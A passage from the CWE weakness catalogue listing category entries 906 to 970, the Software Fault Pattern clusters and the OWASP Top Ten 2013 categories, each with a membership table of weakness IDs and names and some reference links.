HasMember	B	341	Predictable from Observable State	888	799
HasMember	B	342	Predictable Exact Value from Previous Values	888	801
HasMember	B	343	Predictable Value Range from Previous Values	888	802
HasMember	B	344	Use of Invariant Value in Dynamically Changing Context	888	804

## Category-906: SFP Primary Cluster: UI

Category ID : 906



## Summary

This category identifies Software Fault Patterns (SFPs) within the UI cluster.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	995	SFP Secondary Cluster: Feature	888	2211
HasMember	C	996	SFP Secondary Cluster: Security	888	2211
HasMember	C	997	SFP Secondary Cluster: Information Loss	888	2212

## Category-907: SFP Primary Cluster: Other

Category ID : 907

## Summary

This category identifies Software Fault Patterns (SFPs) within the Other cluster.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2331
HasMember	C	975	SFP Secondary Cluster: Architecture	888	2199
HasMember	C	976	SFP Secondary Cluster: Compiler	888	2200
HasMember	C	977	SFP Secondary Cluster: Design	888	2200
HasMember	C	978	SFP Secondary Cluster: Implementation	888	2201

## Category-929: OWASP Top Ten 2013 Category A1 - Injection

Category ID : 929

## Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2013.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2333
HasMember	G	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	928	133
HasMember	G	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	928	141
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	928	147
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	928	188
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	928	195
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	928	207
HasMember	B	91	XML Injection (aka Blind XPath Injection)	928	209
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	928	1336

Nature	Type	ID	Name	V	Page
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	928	1351

### References

[REF-927]OWASP. "Top 10 2013-A1-Injection". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A1-Injection](https://www.owasp.org/index.php/Top_10_2013-A1-Injection) >.

## Category-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management

Category ID : 930

### Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2013.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2333
HasMember	B	256	Plaintext Storage of a Password	928	583
HasMember	G	287	Improper Authentication	928	657
HasMember	G	311	Missing Encryption of Sensitive Data	928	718
HasMember	A	384	Session Fixation	928	887
HasMember	G	522	Insufficiently Protected Credentials	928	1157
HasMember	B	523	Unprotected Transport of Credentials	928	1161
HasMember	B	613	Insufficient Session Expiration	928	1291
HasMember	B	620	Unverified Password Change	928	1301
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	928	1326

### References

[REF-929]OWASP. "Top 10 2013-A2-Broken Authentication and Session Management". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A2-Broken\\_Authentication\\_and\\_Session\\_Management](https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management) >.

## Category-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)

Category ID : 931

### Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2013.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2333
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	928	159

### References

[REF-930]OWASP. "Top 10 2013-A3-Cross-Site Scripting (XSS)". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A3-Cross-Site\\_Scripting\\_%28XSS%29](https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_%28XSS%29) >.

## Category-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References

Category ID : 932

### Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2013.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2333
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	928	33
HasMember	G	99	Improper Control of Resource Identifiers ('Resource Injection')	928	235
HasMember	B	639	Authorization Bypass Through User-Controlled Key	928	1324
HasMember	G	706	Use of Incorrectly-Resolved Name or Reference	928	1439

### References

[REF-931]OWASP. "Top 10 2013-A4-Insecure Direct Object References". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A4-Insecure\\_Direct\\_Object\\_References](https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References) >.

## Category-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration

Category ID : 933

### Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2013.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2333
HasMember	C	2	7PK - Environment	928	2099
HasMember	C	16	Configuration	928	2100
HasMember	B	209	Generation of Error Message Containing Sensitive Information	928	510
HasMember	B	215	Insertion of Sensitive Information Into Debugging Code	928	527
HasMember	V	548	Exposure of Information Through Directory Listing	928	1189

### References

[REF-932]OWASP. "Top 10 2013-A5-Security Misconfiguration". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A5-Security\\_Misconfiguration](https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration) >.

## Category-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure

Category ID : 934

### Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2013.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2333
HasMember	G	311	Missing Encryption of Sensitive Data	928	718
HasMember	B	312	Cleartext Storage of Sensitive Information	928	725
HasMember	B	319	Cleartext Transmission of Sensitive Information	928	740
HasMember	C	320	Key Management Errors	928	2112
HasMember	B	325	Missing Cryptographic Step	928	754
HasMember	G	326	Inadequate Encryption Strength	928	756
HasMember	G	327	Use of a Broken or Risky Cryptographic Algorithm	928	758
HasMember	B	328	Use of Weak Hash	928	765

### References

[REF-933]OWASP. "Top 10 2013-A6-Sensitive Data Exposure". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A6-Sensitive\\_Data\\_Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure) >.

## Category-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control

Category ID : 935

### Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2013.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2333
HasMember	G	285	Improper Authorization	928	649

### References

[REF-934]OWASP. "Top 10 2013-A7-Missing Function Level Access Control". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A7-Missing\\_Function\\_Level\\_Access\\_Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control) >.

## Category-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)

Category ID : 936

### Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2013.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2333
HasMember	⚙	352	Cross-Site Request Forgery (CSRF)	928	821

### References

[REF-935]OWASP. "Top 10 2013-A8-Cross-Site Request Forgery (CSRF)". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A8-Cross-Site\\_Request\\_Forgery\\_%28CSRF%29](https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_%28CSRF%29) >.

## Category-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities

Category ID : 937

### Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2333
MemberOf	C	1352	OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components	1344	2287

### Notes

#### Relationship

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

### References

[REF-936]OWASP. "Top 10 2013-A9-Using Components with Known Vulnerabilities". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A9-Using\\_Components\\_with\\_Known\\_Vulnerabilities](https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities) >.

## Category-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards

Category ID : 938

### Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2013.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2333
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	928	1266

### References

[REF-937]OWASP. "Top 10 2013-A10-Unvalidated Redirects and Forwards". < [https://www.owasp.org/index.php/Top\\_10\\_2013-A10-Unvalidated\\_Redirects\\_and\\_Forwards](https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards) >.

## Category-944: SFP Secondary Cluster: Access Management

Category ID : 944

### Summary

This category identifies Software Fault Patterns (SFPs) within the Access Management cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	899	SFP Primary Cluster: Access Control	888	2179
HasMember	G	282	Improper Ownership Management	888	641
HasMember	B	283	Unverified Ownership	888	643
HasMember	P	284	Improper Access Control	888	644
HasMember	G	286	Incorrect User Management	888	656
HasMember	B	708	Incorrect Ownership Assignment	888	1442

## Category-945: SFP Secondary Cluster: Insecure Resource Access

Category ID : 945

### Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Access cluster (SFP35).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	899	SFP Primary Cluster: Access Control	888	2179
HasMember	G	285	Improper Authorization	888	649
HasMember	G	424	Improper Protection of Alternate Path	888	968
HasMember	B	639	Authorization Bypass Through User-Controlled Key	888	1324
HasMember	V	650	Trusting HTTP Permission Methods on the Server Side	888	1348

## Category-946: SFP Secondary Cluster: Insecure Resource Permissions

Category ID : 946

### Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Permissions cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	899	SFP Primary Cluster: Access Control	888	2179
HasMember	B	276	Incorrect Default Permissions	888	630
HasMember	V	277	Insecure Inherited Permissions	888	634
HasMember	V	278	Insecure Preserved Inherited Permissions	888	635
HasMember	V	279	Incorrect Execution-Assigned Permissions	888	636
HasMember	B	281	Improper Preservation of Permissions	888	640
HasMember	V	560	Use of umask() with chmod-style Argument	888	1200
HasMember	G	732	Incorrect Permission Assignment for Critical Resource	888	1445

## Category-947: SFP Secondary Cluster: Authentication Bypass

Category ID : 947

### Summary

This category identifies Software Fault Patterns (SFPs) within the Authentication Bypass cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	2179
HasMember	G	287	Improper Authentication	888	657
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	888	664
HasMember	B	289	Authentication Bypass by Alternate Name	888	666
HasMember	B	303	Incorrect Implementation of Authentication Algorithm	888	699
HasMember	B	304	Missing Critical Step in Authentication	888	700
HasMember	B	305	Authentication Bypass by Primary Weakness	888	702
HasMember	B	308	Use of Single-factor Authentication	888	713
HasMember	B	309	Use of Password System for Primary Authentication	888	716
HasMember	B	603	Use of Client-Side Authentication	888	1275

## Category-948: SFP Secondary Cluster: Digital Certificate

Category ID : 948

### Summary

This category identifies Software Fault Patterns (SFPs) within the Digital Certificate cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	2179
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	888	682
HasMember	V	297	Improper Validation of Certificate with Host Mismatch	888	684
HasMember	V	298	Improper Validation of Certificate Expiration	888	688
HasMember	B	299	Improper Check for Certificate Revocation	888	690
HasMember	V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	888	1252
HasMember	V	599	Missing Validation of OpenSSL Certificate	888	1263

## Category-949: SFP Secondary Cluster: Faulty Endpoint Authentication

Category ID : 949

### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster (SFP29).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	2179
HasMember	V	293	Using Referer Field for Authentication	888	673
HasMember	B	302	Authentication Bypass by Assumed-Immutable Data	888	697
HasMember	G	345	Insufficient Verification of Data Authenticity	888	805
HasMember	G	346	Origin Validation Error	888	808



Nature	Type	ID	Name	V	Page
HasMember	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	888	817
HasMember	B	360	Trust of System Event Data	888	840
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	888	1192
HasMember	B	565	Reliance on Cookies without Validation and Integrity Checking	888	1209
HasMember	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	888	1343

## Category-950: SFP Secondary Cluster: Hardcoded Sensitive Data

Category ID : 950

### Summary

This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster (SFP33).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	2179
HasMember	V	258	Empty Password in Configuration File	888	589
HasMember	V	259	Use of Hard-coded Password	888	591
HasMember	V	321	Use of Hard-coded Cryptographic Key	888	745
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	888	1187

## Category-951: SFP Secondary Cluster: Insecure Authentication Policy

Category ID : 951

### Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	2179
HasMember	B	262	Not Using Password Aging	888	600
HasMember	B	263	Password Aging with Long Expiration	888	602
HasMember	B	521	Weak Password Requirements	888	1154
HasMember	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	888	1198
HasMember	B	613	Insufficient Session Expiration	888	1291
HasMember	B	645	Overly Restrictive Account Lockout Mechanism	888	1340

## Category-952: SFP Secondary Cluster: Missing Authentication

Category ID : 952

## Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	2179
HasMember	B	306	Missing Authentication for Critical Function	888	703
HasMember	B	620	Unverified Password Change	888	1301

## Category-953: SFP Secondary Cluster: Missing Endpoint Authentication

Category ID : 953

## Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster (SFP30).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	2179
HasMember	V	422	Unprotected Windows Messaging Channel ('Shatter')	888	966
HasMember	B	425	Direct Request ('Forced Browsing')	888	969

## Category-954: SFP Secondary Cluster: Multiple Binds to the Same Port

Category ID : 954

## Summary

This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster (SFP32).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	2179
HasMember	B	605	Multiple Binds to the Same Port	888	1277

## Category-955: SFP Secondary Cluster: Unrestricted Authentication

Category ID : 955

## Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster (SFP34).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	2179

Nature	Type	ID	Name	V	Page
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	888	709

## Category-956: SFP Secondary Cluster: Channel Attack

Category ID : 956

### Summary

This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	902	SFP Primary Cluster: Channel	888	2180
HasMember	B	290	Authentication Bypass by Spoofing	888	668
HasMember	B	294	Authentication Bypass by Capture-replay	888	675
HasMember	G	300	Channel Accessible by Non-Endpoint	888	692
HasMember	B	301	Reflection Attack in an Authentication Protocol	888	695
HasMember	B	419	Unprotected Primary Channel	888	962
HasMember	B	420	Unprotected Alternate Channel	888	963
HasMember	B	421	Race Condition During Access to Alternate Channel	888	965
HasMember	G	441	Unintended Proxy or Intermediary ('Confused Deputy')	888	1005

## Category-957: SFP Secondary Cluster: Protocol Error

Category ID : 957

### Summary

This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	902	SFP Primary Cluster: Channel	888	2180
HasMember	B	353	Missing Support for Integrity Check	888	828
HasMember	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	888	998
HasMember	G	436	Interpretation Conflict	888	1000
HasMember	B	437	Incomplete Model of Endpoint Features	888	1002
HasMember	B	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	888	1471

## Category-958: SFP Secondary Cluster: Broken Cryptography

Category ID : 958

### Summary

This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	903	SFP Primary Cluster: Cryptography	888	2180
HasMember	B	325	Missing Cryptographic Step	888	754
HasMember	G	327	Use of a Broken or Risky Cryptographic Algorithm	888	758
HasMember	B	328	Use of Weak Hash	888	765
HasMember	V	759	Use of a One-Way Hash without a Salt	888	1474
HasMember	V	760	Use of a One-Way Hash with a Predictable Salt	888	1479

## Category-959: SFP Secondary Cluster: Weak Cryptography

Category ID : 959

### Summary

This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	903	SFP Primary Cluster: Cryptography	888	2180
HasMember	B	261	Weak Encoding for Password	888	598
HasMember	B	322	Key Exchange without Entity Authentication	888	749
HasMember	V	323	Reusing a Nonce, Key Pair in Encryption	888	750
HasMember	B	324	Use of a Key Past its Expiration Date	888	752
HasMember	G	326	Inadequate Encryption Strength	888	756
HasMember	V	329	Generation of Predictable IV with CBC Mode	888	769
HasMember	B	347	Improper Verification of Cryptographic Signature	888	811
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	888	1326

## Category-960: SFP Secondary Cluster: Ambiguous Exception Type

Category ID : 960

### Summary

This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster (SFP5).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	889	SFP Primary Cluster: Exception Management	888	2176
HasMember	B	396	Declaration of Catch for Generic Exception	888	908
HasMember	B	397	Declaration of Throws for Generic Exception	888	910

## Category-961: SFP Secondary Cluster: Incorrect Exception Behavior

Category ID : 961

### Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster (SFP6).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	889	SFP Primary Cluster: Exception Management	888	2176
HasMember	B	392	Missing Report of Error Condition	888	901
HasMember	B	393	Return of Wrong Status Code	888	903
HasMember	B	455	Non-exit on Failed Initialization	888	1028
HasMember	B	460	Improper Cleanup on Thrown Exception	888	1041
HasMember	B	544	Missing Standardized Error Handling Mechanism	888	1185
HasMember	B	584	Return Inside Finally Block	888	1240
HasMember	G	636	Not Failing Securely ('Failing Open')	888	1318
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	888	1433

## Category-962: SFP Secondary Cluster: Unchecked Status Condition

Category ID : 962

### Summary

This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster (SFP4).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	889	SFP Primary Cluster: Exception Management	888	2176
HasMember	B	248	Uncaught Exception	888	566
HasMember	B	252	Unchecked Return Value	888	575
HasMember	B	253	Incorrect Check of Function Return Value	888	582
HasMember	B	273	Improper Check for Dropped Privileges	888	626
HasMember	B	280	Improper Handling of Insufficient Permissions or Privileges	888	638
HasMember	B	372	Incomplete Internal State Distinction	888	870
HasMember	B	390	Detection of Error Condition Without Action	888	893
HasMember	B	391	Unchecked Error Condition	888	898
HasMember	B	394	Unexpected Status Code or Return Value	888	904
HasMember	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	888	906
HasMember	B	431	Missing Handler	888	986
HasMember	B	478	Missing Default Case in Multiple Condition Expression	888	1079
HasMember	B	484	Omitted Break Statement in Switch	888	1097
HasMember	B	600	Uncaught Exception in Servlet	888	1264
HasMember	G	665	Improper Initialization	888	1368
HasMember	G	754	Improper Check for Unusual or Exceptional Conditions	888	1460
HasMember	G	755	Improper Handling of Exceptional Conditions	888	1468

## Category-963: SFP Secondary Cluster: Exposed Data

Category ID : 963

## Summary

This category identifies Software Fault Patterns (SFPs) within the Exposed Data cluster (SFP23).






## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	2178
HasMember	V	5	J2EE Misconfiguration: Data Transmission Without Encryption	888	1
HasMember	V	7	J2EE Misconfiguration: Missing Custom Error Page	888	4
HasMember	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	888	6
HasMember	V	11	ASP.NET Misconfiguration: Creating Debug Binary	888	9
HasMember	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	888	11
HasMember	V	13	ASP.NET Misconfiguration: Password in Configuration File	888	12
HasMember	V	14	Compiler Removal of Code to Clear Buffers	888	14
HasMember	B	117	Improper Output Neutralization for Logs	888	279
HasMember	G	200	Exposure of Sensitive Information to an Unauthorized Actor	888	484
HasMember	B	201	Insertion of Sensitive Information Into Sent Data	888	493
HasMember	B	209	Generation of Error Message Containing Sensitive Information	888	510
HasMember	B	210	Self-generated Error Message Containing Sensitive Information	888	516
HasMember	B	211	Externally-Generated Error Message Containing Sensitive Information	888	518
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	888	520
HasMember	B	213	Exposure of Sensitive Information Due to Incompatible Policies	888	523
HasMember	B	214	Invocation of Process Using Visible Sensitive Information	888	525
HasMember	B	215	Insertion of Sensitive Information Into Debugging Code	888	527
HasMember	V	219	Storage of File with Sensitive Data Under Web Root	888	529
HasMember	V	220	Storage of File With Sensitive Data Under FTP Root	888	530
HasMember	B	226	Sensitive Information in Resource Not Removed Before Reuse	888	536
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	888	561
HasMember	B	256	Plaintext Storage of a Password	888	583
HasMember	B	257	Storing Passwords in a Recoverable Format	888	586
HasMember	B	260	Password in Configuration File	888	596
HasMember	G	311	Missing Encryption of Sensitive Data	888	718
HasMember	B	312	Cleartext Storage of Sensitive Information	888	725
HasMember	V	313	Cleartext Storage in a File or on Disk	888	731
HasMember	V	314	Cleartext Storage in the Registry	888	733
HasMember	V	315	Cleartext Storage of Sensitive Information in a Cookie	888	734
HasMember	V	316	Cleartext Storage of Sensitive Information in Memory	888	736
HasMember	V	317	Cleartext Storage of Sensitive Information in GUI	888	737
HasMember	V	318	Cleartext Storage of Sensitive Information in Executable	888	739
HasMember	B	319	Cleartext Transmission of Sensitive Information	888	740
HasMember	B	374	Passing Mutable Objects to an Untrusted Method	888	871



Nature	Type	ID	Name	V	Page
HasMember	B	375	Returning a Mutable Object to an Untrusted Caller	888	874
HasMember	G	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	888	924
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	888	925
HasMember	V	433	Unparsed Raw Web Content Delivery	888	989
HasMember	V	495	Private Data Structure Returned From A Public Method	888	1123
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	888	1127
HasMember	V	498	Cloneable Class Containing Sensitive Information	888	1130
HasMember	V	499	Serializable Class Containing Sensitive Data	888	1132
HasMember	B	501	Trust Boundary Violation	888	1135
HasMember	G	522	Insufficiently Protected Credentials	888	1157
HasMember	B	523	Unprotected Transport of Credentials	888	1161
HasMember	V	526	Cleartext Storage of Sensitive Information in an Environment Variable	888	1165
HasMember	V	527	Exposure of Version-Control Repository to an Unauthorized Control Sphere	888	1167
HasMember	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	888	1168
HasMember	V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere	888	1168
HasMember	V	530	Exposure of Backup File to an Unauthorized Control Sphere	888	1169
HasMember	B	532	Insertion of Sensitive Information into Log File	888	1171
HasMember	V	535	Exposure of Information Through Shell Error Message	888	1174
HasMember	V	536	Servlet Runtime Error Message Containing Sensitive Information	888	1175
HasMember	V	537	Java Runtime Error Message Containing Sensitive Information	888	1176
HasMember	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	888	1178
HasMember	V	539	Use of Persistent Cookies Containing Sensitive Information	888	1179
HasMember	B	540	Inclusion of Sensitive Information in Source Code	888	1180
HasMember	V	541	Inclusion of Sensitive Information in an Include File	888	1181
HasMember	V	546	Suspicious Comment	888	1186
HasMember	V	548	Exposure of Information Through Directory Listing	888	1189
HasMember	V	550	Server-generated Error Message Containing Sensitive Information	888	1191
HasMember	B	552	Files or Directories Accessible to External Parties	888	1193
HasMember	V	555	J2EE Misconfiguration: Plaintext Password in Configuration File	888	1197
HasMember	V	591	Sensitive Data Storage in Improperly Locked Memory	888	1251
HasMember	V	598	Use of GET Request Method With Sensitive Query Strings	888	1262
HasMember	V	607	Public Static Final Field References Mutable Object	888	1280
HasMember	B	612	Improper Authorization of Index Containing Sensitive Information	888	1290
HasMember	V	615	Inclusion of Sensitive Information in Source Code Comments	888	1294



Nature	Type	ID	Name	V	Page
HasMember		642	External Control of Critical State Data	888	1330
HasMember		668	Exposure of Resource to Wrong Sphere	888	1380
HasMember		669	Incorrect Resource Transfer Between Spheres	888	1383
HasMember		756	Missing Custom Error Page	888	1469
HasMember		767	Access to Critical Private Variable via Public Method	888	1498





## Category-964: SFP Secondary Cluster: Exposure Temporary File

Category ID : 964

### Summary

This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		895	SFP Primary Cluster: Information Leak	888	2178
HasMember		377	Insecure Temporary File	888	876
HasMember		378	Creation of Temporary File With Insecure Permissions	888	879
HasMember		379	Creation of Temporary File in Directory with Insecure Permissions	888	881





## Category-965: SFP Secondary Cluster: Insecure Session Management

Category ID : 965

### Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		895	SFP Primary Cluster: Information Leak	888	2178
HasMember		6	J2EE Misconfiguration: Insufficient Session-ID Length	888	2
HasMember		488	Exposure of Data Element to Wrong Session	888	1104
HasMember		524	Use of Cache Containing Sensitive Information	888	1163



## Category-966: SFP Secondary Cluster: Other Exposures

Category ID : 966

### Summary

This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		895	SFP Primary Cluster: Information Leak	888	2178
HasMember		453	Insecure Default Variable Initialization	888	1024

Nature	Type	ID	Name	V	Page
HasMember	B	487	Reliance on Package-level Scope	888	1102
HasMember	V	492	Use of Inner Class Containing Sensitive Data	888	1110
HasMember	V	525	Use of Web Browser Cache Containing Sensitive Information	888	1164
HasMember	V	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute	888	1292
HasMember	V	651	Exposure of WSDL File Containing Sensitive Information	888	1350

## Category-967: SFP Secondary Cluster: State Disclosure

Category ID : 967

### Summary

This category identifies Software Fault Patterns (SFPs) within the State Disclosure cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	2178
HasMember	V	202	Exposure of Sensitive Information Through Data Queries	888	495
HasMember	B	203	Observable Discrepancy	888	497
HasMember	B	204	Observable Response Discrepancy	888	501
HasMember	B	205	Observable Behavioral Discrepancy	888	504
HasMember	V	206	Observable Internal Behavioral Discrepancy	888	505
HasMember	V	207	Observable Behavioral Discrepancy With Equivalent Products	888	507
HasMember	B	208	Observable Timing Discrepancy	888	508

## Category-968: SFP Secondary Cluster: Covert Channel

Category ID : 968

### Summary

This category identifies Software Fault Patterns (SFPs) within the Covert Channel cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2180
HasMember	B	385	Covert Timing Channel	888	890
HasMember	G	514	Covert Channel	888	1151
HasMember	B	515	Covert Storage Channel	888	1152

## Category-969: SFP Secondary Cluster: Faulty Memory Release

Category ID : 969

### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster (SFP12).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	891	SFP Primary Cluster: Memory Management	888	2176
HasMember	V	415	Double Free	888	954
HasMember	V	590	Free of Memory not on the Heap	888	1248
HasMember	V	761	Free of Pointer not at Start of Buffer	888	1481
HasMember	B	763	Release of Invalid Pointer or Reference	888	1488

## Category-970: SFP Secondary Cluster: Faulty Buffer Access

Category ID : 970

### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Buffer Access cluster (SFP8).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	2176
HasMember	G	118	Incorrect Access of Indexable Resource ('Range Error')	888	282
